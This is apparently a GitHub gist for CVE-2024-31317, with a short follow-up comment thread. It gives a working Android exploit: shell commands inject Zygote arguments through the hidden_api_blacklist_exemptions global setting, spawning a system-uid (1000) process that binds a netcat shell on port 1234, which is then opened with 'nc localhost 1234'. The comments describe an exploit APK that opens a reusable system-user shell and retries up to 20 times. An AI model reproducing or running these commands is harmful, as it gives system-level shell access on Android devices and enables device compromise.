CVE-2024-31317

gistfile1.txt

am force-stop com.android.settings
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
15
--runtime-args
--setuid=1000
--setgid=1000
--runtime-flags=2049
--mount-external-full
--target-sdk-version=29
--setgroups=3003
--nice-name=runnetcat
--seinfo=platform:su:targetSdkVersion=29:complete
--invoke-with
toybox nc -s 127.0.0.1 -p 1234 -L /system/bin/sh -l;
--instruction-set=arm
--app-data-dir=/data/
--package-name=com.android.settings
android.app.ActivityThread
"
am start -a android.settings.SETTINGS
nc localhost 1234

Probably not the update you waited for, but maybe it helps..?
I have pushed a version 1.0.2 of "my" exploit apk, which adds "Init Connection Mode".
There, the socket/shell is actually opened at the system user end. This has the advantage that the shell is reusable and the app can even tell you whether the exploit succeeded or not.
Currently, it tries to apply the exploit 20 times and gives up after that (you should probably restart your phone anyway if it fails that many times).
But yeah, maybe this is enough to finally get into your phone @rabits? :)

@ThexXTURBOXx thank you, sorry had not much time to even try - but yeah, surely test it next week.